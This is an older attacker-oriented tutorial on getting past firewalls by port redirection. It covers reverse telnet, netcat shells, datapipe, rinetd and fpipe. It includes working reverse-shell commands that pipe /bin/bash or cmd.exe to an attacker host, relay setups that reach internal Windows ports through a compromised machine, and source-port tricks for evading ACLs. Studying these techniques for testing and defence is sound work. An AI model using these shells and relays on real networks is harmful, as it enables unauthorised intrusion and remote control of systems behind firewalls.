Firewall Penetration through Port Redirection

This is part 2 of my first document, Detection of Firewalls and Probing Networks behind Firewalls. This article will discuss ideas and techniques of penetrating firewalls through port redirection. You will need knowledge in TCP/IP, networking, UNIX, ACL’s and how they work. Enjoy.

Preface:

In some cases, a filtering device may filter out all packets except for packets from a certain network, or system. If this is the case, an attacker might compromise the key target system, or a key system on a network which has access beyond the firewall and then use port redirection to exploit a trust with the firewall. Allowing the intruder a hole in the firewall, in a case which he might foward packets to a specified destination in a once “firewalled” area. Redirection works by listening on a certain configured port, and redirecting all raw packets to a secondary destination.

Redirection usually occurs from the attackers system, to a defaced key system with access to the target network, and then to the target network. But in some cases, the redirection may spawn at the heart of the target system, in our scenario, reverse telnet.

Reverse Telnet:

One of the most famed technique or method of redirection is executed by way off our daily telnet daemon, accompanying the average UNIX distribution. This technique is spawned from a compromised system within the target network. Reverse telnet is exceptionally simple for a couple reasons; the redirection is almost instant, and the uploading of files is not necessary (unless of course the system did not come with the usual daemon).

It is called “reverse telnet” because it uses telnet to connect to listening netcat windows, and then feeds the commands from one window into the reverse telnet stream, sending output into the other window. Reverse telnet is done by first starting two netcat listeners on a box, using two different command prompts:

C:\> nc -vv -l -p 80

E:\> nc -vv -l -p 25

Next we use the following UNIX command on the target system to take input from port 25, and pipe it to the local shell to execute the command, and then pipe the output back to the attacker’s port 80 shell.

[root@localhost]# sleep 10000 | telnet 10.10.1.1 80 | /bin/bash | telnet 10.10.1.1 25

NetCat Shells:

If you have the ability and time to upload files onto the target system, we can execute a method similar to reverse telnet. Take into mind this example:

C:\> nc 10.10.1.1 80 | cmd.exe | nc 10.10.1.1 25

If the machine on 10.10.1.1 has a listening netcat service on TCP 80 and TCP 25, and configured correctly for TCP 80 to be inbound and TCP 25 to be outbound between the compromised system, then this command will gladly shell remote commands through the shell it gave you.

Datapipe:

Setting up 3 netcat shells can be irritating and time consuming. Several utilities exist to make this technique a lot simpler and less time consuming, specifically for port redirection. A tool available for UNIX systems, quite popular and used very often is datapipe. You may obtain datapipe at packetstorm (http://packetstormsecurity.nl/Exploit_Code_Archive/datapipe.c)

Datapipe may seem irritating at first, since it must be run on both ends of the attack, the attackers system and the compromised host behind the firewall. For example, attack a Windows NT system that is targetted, which is protected by a firewall that is ruled to permit high numbered ports. If a system on the network behind the firewall compromised, the attacker, using datapipe may set up a port redirection on the compromised system to listen to port 65000 (which is a high numbered port allowed by our firewall) and forward it to port 139 (the Windows NT system, 10.10.1.12). (following command:)

datapipe 65000 139 10.10.1.12

On the attackers end, a redirector system must be set up to listen on any given port, and then redirected to port 65000 to the compromised host (10.10.1.7).

datapipe 139 65000 10.10.1.7

A Set up like this would allow an attacker to send his packets to his redirection system, thus allowing it to redirect the packets to the compromised host on the target’s network. The redirection system will redirect the packets to a high level port, in our senario, port 65000, which is not filtered by the firewall. The compromised host will recieve these packets and then redirect them to port 139 on the target Windows NT system.

rinetd:

Also known as the `internet redirection server`, or `reverse inet daemon`. Written by Thomas Boutell, and can be found at Boutell’s site (http://www.boutell.com/rinetd/index.html). In a nutshell it redirects TCP connections from one IP address and port to another. You may find some similarities between its functions and datapipes.

“rinetd is a single-process server which handles any number of connections to the address/port pairs specified in the file /etc/rinetd.conf. Since rinetd runs as a single process using nonblocking I/O, it is able to redirect a large number of connections without a severe impact on the machine. This makes it practical to run TCP services on machines inside an IP masquerading firewall.”

rinetd will redirect only connections which require one socket, thus excluding FTP. FTP will not be redirected by rinetd because it requires more than one connection. Rinetd uses a very easy syntax, which is entered into his configuration file; /etc/rinetd.conf (on *nix systems). The syntax is basically:

bindaddress bindport connectaddress connectport

An example:

10.10.1.17 23 10.1.1.3 23

This rule entered to the configuration file would redirect all connections to port 23 from the address 10.10.1.17, (anythin from a real one to a virtual interface), through rinetd and then to port 23 on 10.1.1.3, this could be a system inside a firewall having routing abilities to the outside world disabled.

Rinetd ‘s configuration file, as mentioned early, is in /etc/rinetd.conf. Running rinetd would be the cause of the command:

[root@localhost]# rinetd -c config_file

The -c switch is used to point rinetd to a different configuration file, other than /etc/rinetd.conf. Like datapipe, rinetd may exploit misconfigured firewall ACL.

fpipe:

FPipe is a TCP source port forwarder/redirector, from Foundstone, Inc. It can create a TCP stream with a source port of your choice. The most ideal and valueable Windows replacement for the UNIX-based datapipe.

Going back to part 1, we see that source port’s are large firewall insecurities. Only port redirector that is known to bind to a static port to bypass firewalls for the Windows platform is fpipe. For penetration testing purposes, this is very commonly used to circumvent a firewall or a router that is ruled to permit traffic with source of a certain port, example: port TCP 25 is to talk the mail server.

By default, TCP/IP selects a very high source port for client connections, and using the same rules that most firewall’s have, they will permit high numbered ports through their filter. Even if the firewall just allows, UDP 53 which is the Domain Name Server, also known as DNS, fpipe can force the stream to continuously use a source port of 53. Therefore the firewall will ecknowledge that the stream is of a permitted source port, and allow it through.

Conclusion:

In this document we have discussed various ways a one may attack a key target system or network behind a firewall without having to dismantle the firewall, or cause anything that may be quite noticable. Firewalls and routers provide the front line defense base of a network, when they’re breached and the attacks power can hardly be determined or even assumed.